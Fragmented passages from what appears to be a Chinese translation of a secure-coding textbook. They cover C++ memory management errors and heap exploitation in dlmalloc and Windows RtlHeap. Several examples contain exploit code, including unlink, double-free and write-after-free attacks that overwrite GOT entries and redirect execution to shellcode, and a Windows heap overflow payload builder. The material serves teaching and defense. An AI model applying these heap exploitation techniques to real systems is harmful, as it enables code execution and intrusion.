C++11在头文件<memory>中定义了模板函数来管理指针安全，包括如下内容。 1 namespace std { 2 void declare_reachable(void *p); 3 template <class T> T *undeclare_reachable(T *p); 4 } 这里指定了一个对std:declare_reachable（p）的调用，以确保整个包含p所引用的对象的分配对象（即完整对象）被保留，即使这貌似是不可达的。更确切地说，一个对std:declare_reachable（p）的调用要求p本身是一个安全派生的指针，但允许随后解引用的指针q与p指向相同的对象，即使q不是安全派生的。 这个调用通过一个std:undeclare_reachable（r）调用逆转，其中r与之前std:declare_reachable（p）的参数p指向同一个对象。 std:undeclare_reachable（）函数模板返回其参数的安全派生副本。如果程序员要暂时隐藏指针，则可以通过如下代码安全地完成。 1 std::declare_reachable(p); 2 p = (foo *)((intptr_t)p ^ 0x5555); 3 // p 在这里被伪装。 4 p = std::undeclare_reachable((foo *)((intptr_t)p ^ 0x5555)); 5 // p 在这里再次被安全地派生，并且能够 6 // 被解除引用。 在一个非垃圾回收的实现中，两个调用都变成无操作，导致产生的目标代码与GC不安全的实现可能会产生的目标代码类似。在垃圾回收的实现中，std::declare_reachable（p）实际上把p添加到一个全局性的、GC可见的数据结构中。 当引用一个完整对象的参数调用std::declare_reachable（）的次数超过用引用该对象的参数调用std::undeclare_reachable（）的次数时，该对象被声明为可达。 头文件<memory>中也定义了以下函数。 1 namespace std { 2 void declare_no_pointers(char *p, size_t n); 3 void undeclare_no_pointers(char *p, size_t n); 4 } 这些函数是用于优化的。std::declare_no_pointers（）函数通知垃圾回收器或泄漏检测器，这个内存区域不包含指针并无须跟踪。std::undeclare_no_pointers（）函数注销了一个std::declare_no_pointers（）注册的范围。"},
    {"text": "未知 4.4 常见的C++内存管理错误 C++程序的动态内存管理非常复杂，因此容易出现缺陷。常见的与内存管理相关的编程缺陷，包括未能正确处理分配失败、解引用空指针、写入已经释放的内存、对相同的内存释放多次、不当配对的内存管理函数、未区分标量和数组，以及分配函数使用不当。 未知 4.4.1 未能正确检查分配失败 未能检测和妥善处理内存分配错误，可能导致不可预知的意外的程序行为。C++比C提供了更多和更好的分配错误检查选项，但这些机制仍然可以被滥用。 例4.8显示了一个不正确的分配失败的测试，这是因为new表达式，要么成功，要么抛出一个异常。这意味着，if条件永远为真，而else子句永远不会被执行。 例4.8 不正确地使用new操作符 1 int *ip = new int; 2 if (ip) { // 条件总是为真 3 ... 4 } 5 else { 6 // 将永远不执行 7 } new操作符的nothrow形式在失败时返回一个空指针，而不是抛出一个异常： T*p2 = new （std::nothrow ） T ； // 失败时返回0"},
    {"text": "除了使用new和delete表达式，C++允许使用C语言的内存分配和释放函数。 尽管《The CERT C++ Secure Coding Standard》[SE I2012b]中规定“MEM 08-CPP.使用new和delete而不是原始的内存分配和释放”，但没有什么能阻止程序员在C++程序中使用C语言的内存分配和释放函数。"},
    {"text": "C内存释放函数std::free（）不应该被用于由C++内存分配函数分配的资源，C++内存释放操作符和函数也不应该被用于由C内存分配函数分配的资源。"},
    {"text": "这意味着，C++的内存分配和释放函数分配和释放内存的方式可能不同于C内存分配和释放函数分配和释放内存的方式。 因此，在同一资源上混合调用C++内存分配和释放函数及C内存分配和释放函数是未定义的行为，并可能会产生灾难性的后果。"},
    {"text": "例4.9 不正确配对的内存管理函数 1 int *ip = new int(12); 2 ... 3 free(ip); // 错误！ 4 ip = static_cast<int *>(malloc(sizeof(int))); 5 *ip = 12; 6 ... 7 delete ip; // 错误！"},
    {"text": "new和delete操作符用于分配和释放单个对象： Widget *w = new Widget(arg); delete w; new[]和delete[]操作符用于分配和释放数组： w = new Widget[n]; delete [] w; 当分配单个对象时，先调用operator new（）函数来分配对象的存储空间，然后调用其构造函数来初始化它。 当一个对象被删除时，首先调用它的析构函数，然后调用相应的operator delete（）函数来释放该对象所占用的内存。 如果提供给operator delete（void *）的值，既不是由以前调用operator new（std::size_t）返回的，也不是由调用operator new（std::size_t，const std::nothrow_t&）返回的，那么它的行为是未定义的。 当分配一个对象数组时，先调用operator new[]（）对整个数组分配存储空间。"},
    {"text": "如果试图使用operator delete（）删除整个数组，只有数组的第一个元素所占用的内存将被释放，一个明显的内存泄漏可能会导致被利用，从而造成一个拒绝服务攻击。"},
    {"text": "如果提供给operator delete[]（void *）的值，既不是由以前调用operator new[]（std::size_t）返回的，也不是由调用operator new[]（std::size_t，const std::nothrow_t&）返回的，那么该行为是未定义的。"},
    {"text": "重要的是不要对原始内存调用析构函数： 1 string *sp = static_cast<string *> 2 (operator new(sizeof(string)); 3 ... 4 delete sp; // 错误！ 5 6 operator delete (sp); // 正确！"},
    {"text": "例4.10 未正确配对的operator new（）和成员new（） 01 class B { 02 public: 03 void *operator new(size_t); 04 // 没有operator delete ！ 05 ... 06 }; 07 ... 08 B *bp = new B; // 使用成员new 09 ... 10 delete bp; // 使用全局delete ！"},
    {"text": "例4.11 就地new的正确和不正确使用 1 void *addr = reinterpret_cast<void *>(0x00FE0000); 2 Register *rp = new (addr) Register; 3 ... 4 delete rp; // 错误！ 5 ... 6 rp = new (addr) Register; 7 ... 8 rp->~Register(); // 正确 不正确配对的内存管理函数小结 。"},
    {"text": "《The CERT C++ Secure Coding Standard》[SEI 2012b]“MEM 39-CPP．由内存分配函数分配的资源，必须使用相应的内存释放函数释放”在这个问题上做了进一步阐述。"},
    {"text": "未知 4.4.3 多次释放内存 图4.1说明了另一种危险的情况，即多次释放内存。此图显示了两个链表数据结构，它们共享共同的元素。这种斗争的数据结构并不少见，但当内存被释放时，就会引入问题。如果一个程序遍历每个链表，以释放每个内存块的指针，那么多个内存块将被释放两次。如果程序只遍历一个链表（然后释放两个链表结构），那么内存就会被泄漏 [1] 。在这两种选择中，内存泄漏问题比起两次释放相同的内存是危险性相对较低的。如果不允许发生内存泄漏，那么必须采用不同的解决方案。 图4.1 共享共同元素的链表数据结构 包含指针的标准C++容器不删除指针指向的对象，如下所示。 1 vector<Shape *> pic; 2 pic.push_back(new Circle); 3 pic.push_back(new Triangle); 4 pic.push_back(new Square); 5 //pic 超界时，内存泄漏 因此，有必要在销毁容器之前删除容器的元素，如下所示。 01 template <class Container> 02 inline void 03 releaseItems(Container &c) { 04 typename Container::iterator i; 05 for (i = c.begin(); i != c.end(); ++i) { 06 delete *i; 07 } 08 } 09 ... 10 vector<Shape *> pic; 11 ... 12 releaseItems(pic); 遗憾的是，该解决方案会导致两次释放的漏洞，如下所示。 01 vector<Shape *> pic; 02 pic.push_back(new Circle); 03 pic.push_back(new Triangle); 04 pic.push_back(new Square); 05 ... 06 list<Shape *> picture; 07 picture.push_back(pic[2]); 08 picture.push_back(new Triangle); 09 picture.push_back(pic[0]); 10 ... 11 releaseElems(picture); 12 releaseElems(pic); // 哎呀！ 此代码也不是异常安全的。如果第二个new表达式抛出一个异常，那么向量（vector）在解开期间将被销毁，而不释放第一个new表达式分配的内存。更安全，并且越来越普遍的做法是使用引用计数智能指针作为容器元素。 1 typedef std::shared_ptr<Shape> SP; 2 ... 3 vector<SP> pic; 4 pic.push_back(SP(new Circle)); 5 pic.push_back(SP(new Triangle)); 6 pic.push_back(SP(new Square)); 7 // 没有必要清理... 智能指针是一个类类型（class type），它具有重载的“-﹥”和“*”操作符以表现得像指针。比起原始指针，智能指针往往是一种更安全的选择，因为它们可以提供原始指针中不存在的增强行为，如垃圾回收、检查空，而且防止使用在特定情况下不合适或危险的原始指针操作（如指针算术和指针复制）。 引用计数智能指针对它们所引用的对象的引用计数进行维护。当引用计数为零时，该对象就被销毁。 最常用的引用计数智能指针是定义在C++标准库的std::shared_ptr类模板。此外，还有许多特设引用计数智能指针。 智能指针的使用避免了复杂性，如下所示。 01 vector<SP> pic; 02 pic.push_back(SP(new Circle)); 03 pic.push_back(SP(new Triangle)); 04 pic.push_back(SP(new Square)); 05 ... 06 list<SP> picture; 07 picture.push_back(pic[2]); 08 picture.push_back(SP(new Triangle)); 09 picture.push_back(pic[0]); 10 ... 11 // 没有必要清理！ 图4.2说明了共享引用计数的对象池的pic vector和picture list。 图4.2 共享引用计数的对象池的pic vector和picture list [1] 指只在未被遍历的链表中使用的内存，比如遍历图4.1的a链表，那么第2排第4个方块的内存不会释放，因此泄漏。—译者注 未知 4.4.4 释放函数抛出一个异常 如果释放函数通过抛出一个异常终止，那么该行为是未定义的。释放函数，包括全局的operator delete（）函数，它的数组形式与其用户定义的重载，经常在销毁类类型的对象时被调用，其中包括作为某个异常结果的栈解开。允许栈解开期间抛出异常导致逃避了调用std::terminate（），而导致std::abort（）函数调用的默认效果。这种情况可能被利用为一种拒绝服务攻击的机会。因此，释放函数必须避免抛出异常。《The CERT C++ Secure Coding Standard》[SEI 2012b]“ERR 38-CPP．释放函数不能抛出异常”进一步说明了这个问题。 例4.12进一步说明了此问题。用户定义的释放函数UserClass::operator delete[]（），为响应some_condition为真抛出一个异常。如果在调用一个数组的new表达式时，其中数组元素之一的构造函数抛出一个异常，那么栈被解开，所有成功构建了的数组元素将被销毁，而且UserClass::operator delete[]（）被调用。允许UserClass::operator delete[]（）抛出另一个异常，而第一个异常还在飞行（in flight）（即尚未处理）时会导致未定义的行为，通常是程序异常终止。 例4.12 释放函数抛出一个异常 01 class UserClass { 02 public: 03 // ... 04 UserClass(); // 可能抛出 05 static void* operator new[](std::size_t); 06 static void operator delete[](void *ptr) { 07 if (some_condition) 08 throw std::runtime_error(\"deallocating a bad pointer\"); 09 // ... 10 } 11 }; 12 13 void f(std::size_t nelems) { 14 UserClass *array = new UserClass[nelems]; 15 // ... 16 delete[] array; 17 }"},
    {"text": "未知 4.5 内存管理器 内存管理器既管理已分配的内存，也管理已释放的内存。在大多数操作系统中，包括POSIX系统和Windows，内存管理器作为客户进程的一部分运行。分配给客户进程的内存，以及供内部使用而分配的内存，全部位于客户进程的可寻址内存空间内。 操作系统通常提供内存管理器作为它的一部分（通常是libc的一部分）。在较不常见的情况下，编译器也可以提供替代的内存管理器。内存管理器可以被静态链接在可执行文件中，也可以在运行时确定。至于使用哪些内存管理器，没有什么神圣不可侵犯的规定，你甚至可以自己编写，虽然这未必是一个好主意。 虽然各种内存管理器具体的算法各不相同，但它们大多数都使用高德纳（Donald Knuth）在《计算机程序设计艺术》（The Art of Computer Programming）[Knuth 1997]中描述的动态存储分配算法的某个变种。高德纳定义了一个动态存储分配器作为保留和释放更大的储存区域中的大小可变的内存块的算法。动态存储分配需要维护一个可用空间的清单。据高德纳的描述，“通过使用可用空间本身来容纳这样的清单几乎总是最佳做法。”因此一个空闲块的用户可寻址区域可以包含到其他空闲块的链接。空闲块可以按照大小升序或降序、内存地址的顺序，或随机顺序被链接 [1] 。 动态存储分配需要一种寻找和保留n个连续字节块的算法。它可以用最佳匹配（best-fit）或最先匹配（first-fit）的方法来完成。使用最佳匹配的方法，有m个字节的区域被选中，其中m是（或其中一个）可用的最小的等于或大于n个字节的连续存储的块。最先匹配的方法简单地返回遇到的第一个含有n个或更多字节的块。 这两种方法都存在同样的一个问题，就是内存可能被破碎成极小的块，例如，1或2个字节的小块。为了防止出现碎片，如果剩余空间太小而无法利用，内存管理器可能分配比所要求大小更大的块。 最后，内存管理器必须提供一种方法来释放不再需要的内存块。一种方法是一旦块成为空闲时，就尽快把该块交还给可用空间清单，并把它和邻近区域合并。为了消除存储返回时的搜索，高德纳使用了每个内存块的两端的边界标记（boundary tag）。边界标记在每个块的开头包括一个大小（size）域，并被用于合并相邻的空闲内存块，以避免碎片 [2] 。大小域简化了块之间的导航。 在UNIX中实现了高德纳算法的许多元素，包括带内（in-band）空闲列表。K&R C包含了UNIX原来的（简单和优雅的）malloc（）和free（）实现[Kernighan 1988]。对于 C和C++开发人员来说，高德纳和K&R C发布的这些算法一直很有影响力。 [1] 在现代，虚拟内存架构上使用带内（in-band，或块内，in-chunk）空闲块链表实际上可能导致不佳的性能。因为空闲的清单散落在整个空闲块中，在遍历链表时，free() 函数可能以从磁盘换入其他未使用的页面结束。 [2] 边界标记是分配存储堆的块之间的边界上的数据结构。"},
    {"text": "未知 4.6 Doug Lea的内存分配器 GNU C库和大多数Linux版本（例如Red Hat、Debian）都是将Doug Lea的malloc实现（dlmalloc）作为malloc的默认原生版本。"},
    {"text": "尽管此处给出的dlmalloc的内部结构以及缺陷利用均针对2.7.2版，然而其中包含的安全缺陷原理却是所有版本都具有的（对于其他内存管理器来说亦然）。"},
    {"text": "如果内存块空闲，则开始4个字节包含前一块相邻内存的大小； 如果内存块已分配，其开始4个字节包含前一内存块中用户数据的最后4个字节。"},
    {"text": "每个双链表有一个头（head），它包含指向列表中第一个和最后一个块的前向指针和后向指针，如图4.4所示。 列表最后一个块中的前向指针和列表第一个块中的后向指针都指向头元素。"},
    {"text": "在调用free（）操作过程中内存块会被合并。 如果被释放块的上一块为空闲块，则该内存块会从双链表中解开，与被释放的块合并。 如果被释放块的下一块为空闲块，则其也从双链表中解开并与被释放块合并。"},
    {"text": "图4.4 空闲列表双链表结构 例4.13 unlink（）宏 1 #define unlink(P, BK, FD) { \\ 2 FD = P->fd; \\ 3 BK = P->bk; \\ 4 FD->bk = BK; \\ 5 BK->fd = FD; \\ 6 } 要理解该宏的工作方式，最容易的办法就是看一个例子。"},
    {"text": "第3步，前向指针（FD）用指向被解开的块之前的块的指针取代指向链表中下一个块的后向指针。 最后，第4步，后向指针（BK）用指向下一个块的指针取代指向列表中前一个块的前向指针。"},
    {"text": "由于这些偶然的发现看上去不大可能发生，因此堆缓冲区溢出问题并非总是得到适当的解决，结果，开发人员采取了对抗栈溢出攻击的方案却没有采取防止堆缓冲区溢出的技术。"},
    {"text": "unlink技术被用于利用缓冲区溢出来操纵内存块的边界标志，以欺骗unlink（）宏向任意位置写入4字节数据。 例如，例4.14所示的程序就容易导致缓冲区溢出，从而可以使用unlink技术对其进行利用。"},
    {"text": "例4.14 可以使用unlink技术进行攻击的有漏洞的程序代码 01 #include <stdlib.h> 02 #include <string.h> 03 int main(int argc, char *argv[]) { 04 char *first, *second, *third; 05 first = malloc(666); 06 second = malloc(12); 07 third = malloc(12); 08 strcpy(first, argv[1]); 09 free(first); 10 free(second); 11 free(third); 12 return(0); 13 } 在进行参数复制后（假设还进行了其他操作），程序调用free（）（第9行）释放第一块内存。"},
    {"text": "图4.6展示的是第一次调用free（）时堆的内容。 图4.6 第一次调用free（）时堆的内容 如果第二块内存处于未分配状态（即空闲），free（）操作将会试图将其与第一块合并。 为了判断第二块内存是否处于空闲状态，free（）会检查第3块的PREV_INUSE标志位。"},
    {"text": "该参数会覆写第二块内存中表示上一块内存大小的域、块的大小值以及前向指针和后向指针，从而也就修改了free（）操作的行为（第9行）。 特别是，第二块内存的大小域的值覆写为–4，因此，当free（）需要确定第三块内存的位置时，也就是说，将第二块内存的大小加上其起始位置时，会得到其起始位置减4。"},
    {"text": "图4.7 第三块设置的PREV_INUSE位 图4.8 缓冲区溢出覆写边界标记 当然，这个恶意参数也会使dlmalloc所找到的PREV_INUSE标志位为空，从而dlmalloc误以为第二块内存是未分配的，导致free（）调用unlink（）宏来合并这两块内存。"},
    {"text": "unlink（）的第一行，FD=P-﹥fd，将P-﹥fd的值（该值已经由恶意参数提供）赋给FD。 unlink（）宏的第二行，BK=P-﹥bk，将P-﹥bk的内容赋给BK，此时P-﹥bk的内容同样由恶意参数提供。 unlink（）宏的第3行，FD-﹥bk=BK，则将FD+12地址（结构中bk域的偏移量）处的内容改写为BK。 换句话说，unlink（）宏将攻击者提供的4个字节的数据写到同样是由攻击者指定的4个字节的地址处。"},
    {"text": "外壳代码跨越前12个字节，因为进行BK-﹥fd=FD赋值时，一些内存被unlink（）覆写了。 左值BK-﹥fd引用了外壳代码的地址加8，因此，外壳代码的9至12字节被覆写了。"},
    {"text": "要成功地利用双重释放漏洞，有两个条件必须满足：被释放的内存块必须在内存中独立存在（也就是说，其相邻的内存块必须是已分配的，这样就不会发生合并操作了），并且该内存所被放入的筐必须为空。"},
    {"text": "free（）函数将空闲块用如例4.15所示的frontlink代码段加入筐中。 例4.15 frontlink代码段 01 BK = bin; 02 FD = BK->fd; 03 if (FD != BK) { 04 while (FD != BK && S < chunksize(FD)) { 05 FD = FD->fd; 06 } 07 BK = FD->bk; 08 } 09 P->bk = BK; 10 P->fd = FD; 11 FD->bk = BK->fd = P; 图4.12 具有单个空闲块的筐 当一块内存被释放时，它必须被链接到适当的双链表中。"},
    {"text": "例4.16 双重释放的利用代码 01 static char *GOT_LOCATION = (char *)0x0804c98c; 02 static char shellcode[] = 03 \"\\xeb\\x0cjump12chars_\" /* 跳转 */ 04 \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"; 05 int main(void) { 06 int size = sizeof(shellcode); 07 char *shellcode_location; 08 char *first, *second, *third, *fourth; 09 char *fifth, *sixth, *seventh; 10 shellcode_location = malloc(size); 11 strcpy(shellcode_location, shellcode); 12 first = malloc(256); 13 second = malloc(256); 14 third = malloc(256); 15 fourth = malloc(256); 16 free(first); 17 free(third); 18 fifth = malloc(128); 19 free(first); // 重复释放 20 sixth = malloc(256); 21 *((char **)(sixth+0)) = GOT_LOCATION-12; 22 *((char **)(sixth+4)) = shellcode_location; 23 seventh = malloc(256); 24 strcpy(fifth, \"something\"); 25 return 0; 26 } 当first被初次释放时（第16行），它被放入一个缓存筐而不是普通筐中。"},
    {"text": "strcpy（）函数的GOT地址（减去12）以及外壳代码位置被复制到这块内存中（第21～22行），然后在第23行相同的内存块被再一次分配给seventh块。"},
    {"text": "这一次，当内存块被分配后，unlink（）宏将外壳代码的地址复制到全局偏移表中strcpy（）函数的地址处（并且覆写了外壳代码开头的几个字节）。"},
    {"text": "未知 4.7.1 写入已释放的内存 另一个常见的安全缺陷就是向已释放的内存中写入。例4.17展示了向已释放内存中写入是如何引起漏洞的，使用的程序几乎与例4.16中的双重释放利用代码如出一辙。不过，这个程序不是释放了first块两次，而只是在第15行释放first块后，又在第18～19行对该块进行了写入操作。此设置过程和双重释放利用完全一样。第20行对malloc（）的调用以外壳代码地址取代了strcpy（）的地址，这样，第21行对strcpy（）的调用就会导致调用外壳代码。 例4.17 覆写释放的内存漏洞 01 static char *GOT_LOCATION = (char *)0x0804c98c; 02 static char shellcode[] = 03 \"\\xeb\\x0cjump12chars_\" /* 跳转 */ 04 \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"; 05 int main(void){ 06 int size = sizeof(shellcode); 07 char *shellcode_location; 08 char *first,*second,*third,*fourth,*fifth,*sixth; 09 shellcode_location = malloc(size); 10 strcpy(shellcode_location, shellcode); 11 first = malloc(256); 12 second = malloc(256); 13 third = malloc(256); 14 fourth = malloc(256); 15 free(first); 16 free(third); 17 fifth = malloc(128); // 设置初始条件 18 *((char **)(first+0)) = GOT_LOCATION - 12; 19 *((char **)(first+4)) = shellcode_location; 20 sixth = malloc(256); 21 strcpy(fifth, \"something\"); 22 return 0; 23 }"},
    {"text": "在Win 32之前，Windows上使用C运行时库来管理内存总让人觉得不放心和不可靠。 Win 32的C运行时库使用与全局和局部内存管理函数一样的默认堆管理器来实现，并可以安全地用于管理堆内存，尤其当关注可移植性的时候。"},
    {"text": "内存映射文件API 。 内存映射文件允许一个应用程序将其虚拟地址空间直接映射到磁盘上的一个文件。 一旦一个文件被内存映射，对其内容的存取就变成对一个指针解引用的问题了。"},
    {"text": "RtlHeap数据结构 。 RtlHeap是Windows操作系统的内存管理器。 RtlHeap使用虚拟内存API，并且实现了更高级的局部、全局和CRT内存函数。 RtlHeap是Windows操作系统上大多数应用层的动态内存管理的心脏。 然而，与大多数软件一样，RtlHeap也在不断地进化，不同的Windows版本通常都有不同的RtlHeap实现，它们的行为稍有不同。"},
    {"text": "要想理解误用内存管理API如何导致软件漏洞的发生，首先需要理解Win 32中为了支持动态内存管理所使用的一些内部数据结构，包括进程环境块、空闲链表、备用（look-aside）链表以及内存块的结构等。"},
    {"text": "在Windows XP SP2 [1] 之前的Windows操作系统中，PEB存在于系统中每个进程的固定地址0x7FFDF000处。 只有当系统被配置成为用户模式应用程序保留3GB地址空间而不是默认的2GB的时候，PEB才不处于该默认地址处。"},
    {"text": "可以使用它们为PEB结构提供的定义来获取关于堆数据结构的信息，包括堆的最大数量、堆的实际数量、默认堆的位置，以及一个指向包含所有堆位置的数组的指针。"},
    {"text": "这些结构中最重要的就是位于堆起始（也就是调用HeapCreate（）返回的地址）偏移0x178处的一个包含128个元素的数组，数组中每一个元素指向一个双链表。"},
    {"text": "图4.16 FreeList（空闲链表）数据结构（资料来源：[Conover2004]） 当创建一个新堆时，空闲链表被初始化为空（当链表为空时，前向和后向链接都指向链表头）。"},
    {"text": "如果HEAP_NO_SERIALIZE标志没有被置位并且HEAP_GROWABLE标志被置位（即默认情形），那么，在进行堆分配的过程中，会分配128个额外的单链表，称为后备缓存链表（look-aside list）。"},
    {"text": "一个特定大小的内存被分配得越频繁，在相应链表中存储的该大小的内存块的数量就越多。 对后备缓存链表的使用使得小块内存的分配速度加快。"},
    {"text": "图4.18 已分配块的边界标记（资料来源：[Conover 2004]） 用户通过调用free（）或HeapFree（）释放的那些内存被加入到具有对应大小的内存块的空闲链表中。"},
    {"text": "被释放的内存被放置于适当的位置，并且内存块的前8个字节用于包含前向和后向指针，这两个指针或指向相同大小的内存块，或指向链表头。 用于存储前向和后向指针的内存就是由HeapAlloc（）返回的用户可寻址内存的前8个字节。"},
    {"text": "这个内存块被加入到空闲链表中，意味着其起始8个字节被指向128字节内存块的空闲链表头部的前向和后向指针所代替，且忙碌标志位也被清空。"},
    {"text": "例4.18 利用Windows上的动态内存中的缓冲区溢出 01 unsigned char shellcode[] = \"\\x90\\x90\\x90\\x90\"; 02 unsigned char malArg[] = \"0123456789012345\" 03 \"\\x05\\x00\\x03\\x00\\x00\\x00\\x08\\x00\" 04 \"\\xb8\\xf5\\x12\\x00\\x40\\x90\\x40\\x00\"; 05 06 void mem() { 07 HANDLE hp; 08 HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0; 09 hp = HeapCreate(0, 0x1000, 0x10000); 10 h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 11 h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 12 h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 13 HeapFree(hp,0,h2); 14 memcpy(h1, malArg, 32); 15 h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 16 return; 17 } 18 19 int main(void) { 20 mem(); 21 return 0; 22 } 这个利用方式并不完美，因为第15行对HeapAlloc（）的调用会导致外壳代码的起始4个字节被返回地址\\xb8\\xf5\\x12\\x00所覆写。"},
    {"text": "例4.19 易于遭受基于堆的溢出的有漏洞的程序 01 int mem(char *buf) { 02 HLOCAL h1 = 0, h2 = 0; 03 HANDLE hp; 04 05 hp = HeapCreate(0, 0x1000, 0x10000); 06 if (!hp) return -1; 07 h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 08 strcpy((char *)h1, buf); 09 h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260); 10 puts(\"we never get here\"); 11 return 0; 12 } 13 14 int main(void) { 15 HMODULE l; 16 l = LoadLibrary(\"wmvcore.dll\"); 17 buildMalArg(); 18 mem(buffer); 19 return 0; 20 } 图4.20展示了第7行调用HeapAlloc（）后堆的组织形式。"},
    {"text": "图4.20 第一次调用HeapAlloc（）后的堆的组织形式 例4.20 用于缓冲区溢出的外壳代码的准备 01 char buffer[1000] = \"\"; 02 void buildMalArg() { 03 int addr = 0, i = 0; 04 unsigned int systemAddr = 0; 05 char tmp[8] = \"\"; 06 systemAddr = GetAddress(\"msvcrt.dll\",\"system\"); 07 for (i=0; i < 66; i++) strcat(buffer, \"DDDD\"); 08 strcat(buffer, \"\\xeb\\x14\"); 09 strcat(buffer, \"\\x44\\x44\\x44\\x44\\x44\\x44\"); 10 strcat(buffer, \"\\x73\\x68\\x68\\x08\"); 11 strcat(buffer,\"\\x4c\\x04\\x5d\\x7c\"); 12 for (i = 0; i < 21; i++) strcat(buffer,\"\\x90\"); 13 strcat(buffer, 14 \"\\x33\\xC0\\x50\\x68\\x63\\x61\\x6C\\x63\\x54\\x5B\\x50\\x53\\xB9\"); 15 fixupaddresses(tmp, systemAddr); 16 strcat(buffer,tmp); 17 strcat(buffer,\"\\xFF\\xD1\\x90\\x90\"); 18 return; 19 } 攻击者可以不覆写栈上的返回地址，而是覆写一个异常处理程序（exception handler）的地址。"},
    {"text": "1 [ SetUnhandledExceptionFilter(myTopLevelFilter); ] 2 mov ecx, dword ptr [esp+4] 3 mov eax, dword ptr ds:[7C5D044Ch] 4 mov dword ptr ds:[7C5D044Ch], ecx 5 ret 4 这个函数只是简单地将现有的未处理的异常过滤器（unhandled exception filter）的地址替换成由用户提供的过滤器的地址。"},
    {"text": "正常来说，用来覆写前向指针的地址就是外壳代码的地址，因为RtlHeap接下来会覆写外壳代码的起始4个字节，对于攻击者而言，更容易的办法应该是采用一个跳板（trampoline）将程序的控制权间接地转移到外壳代码。"},
    {"text": "如果程序的一个寄存器中包含一个和外壳代码地址有关的值，那么可以先把程序的控制权转移到一处，该处的指令序列可以通过该寄存器将程序的控制权间接地转移给外壳代码。 这个指令序列，即跳板，存在于一个确定的或可预计的地址处，从而可以提供一种可靠的机制将程序的控制权转移到外壳代码。"},
    {"text": "例4.21 RtlHeap写入已释放的内存 01 typedef struct _unalloc { 02 PVOID fp; 03 PVOID bp; 04 } unalloc, *Punalloc; 05 char shellcode[] = \"\\x90\\x90\\x90\\xb0\\x06\\x90\\x90\"; 06 int main(int argc, char * argv[]) { 07 Punalloc h1; 08 HLOCAL h2 = 0; 09 HANDLE hp; 10 hp = HeapCreate(0, 0x1000, 0x10000); 11 h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 12 HeapFree(hp, 0, h1); 13 h1->fp = (PVOID)(0x042B17C - 4); 14 h1->bp = shellcode; 15 h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 16 HeapFree(hp, 0, h2); 17 return 0; 18 } 当释放h1时，它被放入一个空闲块大小为32字节的空闲列表中。"},
    {"text": "第15行对HeapAlloc（）的调用使得HeapFree（）的地址被外壳代码的地址所覆写，因此当第16行调用HeapFree（）的时候，程序的控制权被转移到了外壳代码。"},
    {"text": "微软已经公告了在IE浏览器（MS0 4-025/VU#685364）中，以及在Windows XP、Windows Server 2003、Windows NT 4.0、Windows 2000、Windows 98、98 SE以及ME中的微软Windows ASN.1库（MS04-011/VU#255924）中，包含严重的双重释放漏洞。"},
    {"text": "例4.22 RtlHeap双重释放漏洞 01 char buffer[1000] = \"\"; 02 int main(int argc, char *argv[]) { 03 HANDLE hp; 04 HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9; 05 06 hp = HeapCreate(0,0x1000,0x10000); 07 h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 08 memset(h1, 'a', 16); 09 h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10 memset(h2, 'b', 16); 11 h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32); 12 memset(h3, 'c', 32); 13 h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 14 memset(h4, 'd', 16); 15 h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8); 16 memset(h5, 'e', 8); 17 HeapFree(hp, 0, h2); 18 HeapFree(hp, 0, h3); 19 HeapFree(hp, 0, h3); 20 h6 = HeapAlloc(hp, 0, 64); 21 memset(h6, 'f', 64); 22 strcpy((char *)h4, buffer); 23 h7 = HeapAlloc(hp, 0, 16); 24 puts(\"Never gets here.\"); 25 } 例4.23展示了例4.22第17行释放h2之后的堆的状态。"},
    {"text": "例4.23 h2被释放后堆的状态 freeing h2: 00BA06A0 List head for FreeList[0] 00BA0178->00BA0708 Forward links: Chunk in FreeList[0] -> chunk: 00BA0178 Backward links: Chunk in FreeList[0] -> chunk: 00BA0178 List head for FreeList[3] 00BA0190->00BA06A0 Forward links: Chunk in FreeList[3] -> chunk: 00BA0190 Backward links: Chunk in FreeList[3] -> chunk: 00BA0190 00BA0000+ 0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa 0690 61 61 61 61 61 61 61 61 03 00 03 00 00 00 08 00 aaaaaaaa........ 06a0 90 01 ba 00 90 01 ba 00 62 62 62 62 62 62 62 62 ........bbbbbbbb 06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc 06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc 06d0 63 63 63 63 63 63 63 63 03 00 05 00 00 01 08 00 cccccccc........ 06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd 06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee 0700 20 01 02 00 00 10 00 00 78 01 ba 00 78 01 ba 00 .......x...x... 例4.23的下半部分展示了从h1起始位置之前8字节开始的内存内容 [3] 。"},
    {"text": "这可以很容易地看出来，因为FreeList[3]的空闲块已经消失了，取而代之的是FreeList[8]上的一个块，因为h3是40字节（包括8字节头部在内），而最初分配给h2的空间是24字节，这就意味着合并后的空闲块的长度为64字节。 因为h3被合并了，所以h3的用户区域的起始8个字节并不包含指针，但h2中的指针已经被更新为指向FreeList[8]。"},
